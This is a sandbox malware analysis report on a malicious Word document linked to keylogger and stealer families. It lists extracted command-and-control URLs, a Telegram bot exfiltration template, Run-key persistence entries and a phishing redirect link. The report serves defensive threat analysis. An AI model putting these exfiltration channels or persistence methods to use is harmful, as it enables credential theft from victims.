http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189$	jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022893000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002284D000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002289D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022893000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002289D000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20a	jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pmail.com0	brightness.exe, 00000007.00000003.2123550803.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161107303.0000000021426000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163281507.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2128046542.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2162496281.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.7.dr	false		high
https://reallyfreegeoip.org/xml/	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021170000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C221000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
166.62.27.188	amazonenviro.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
208.91.198.176	mail.techniqueqatar.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
147.124.216.113	unknown	United States	1432	AC-AS-1US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584675
Start date and time:	2025-01-06 07:53:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ITT # KRPBV2663 .doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@24/10@5/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 148 Number of non-executed functions: 120
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer Override analysis time to 79249.1381 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 23.56.254.164, 20.50.201.204, 52.111.231.25, 52.111.231.23, 52.111.231.26, 52.111.231.24, 2.21.65.149, 2.21.65.130, 52.109.89.19, 23.200.88.61, 23.200.88.73, 88.221.110.227, 88.221.110.138, 40.126.31.73, 20.109.210.53, 23.1.237.91, 13.107.246.45
Excluded domains from analysis (whitelisted): binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-000.roaming.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, templatesmetadata.office.net, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, www.bing.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.n
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:54:03	API Interceptor	2x Sleep call for process: brightness.exe modified
01:54:13	API Interceptor	2378888x Sleep call for process: jphwmyiA.pif modified
01:54:18	API Interceptor	4x Sleep call for process: Aiymwhpj.PIF modified
07:54:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Aiymwhpj C:\Users\Public\Aiymwhpj.url
07:54:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Aiymwhpj C:\Users\Public\Aiymwhpj.url

LLM Input / Output

Input	Output
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Bearing shell, lower, pos. 15 Fig. 4-12, No.412169-2", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Office document Model: Joe Sandbox AI	{ "brands": [ "CYRT III ELLIOTT", "Bearing shell", "CYRT III ELLIOTT", "CYRT III ELLIOTT", "CYRT III ELLIOTT", "CYRT III ELLIOTT", "AYRT III ELLIOTT", "AYRT III ELLIOTT", "CYRT III ELLIOTT", "BYRT III Class III ELLIOTT", "BYRT III Class III ELLIOTT" ] }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
208.91.198.176	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	grace.exe	Get hash	malicious	AgentTesla	Browse
	RTGS-WB-ABS-240730-NEW.lnk	Get hash	malicious	AgentTesla	Browse
166.62.27.188	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
amazonenviro.com	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
api.telegram.org	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
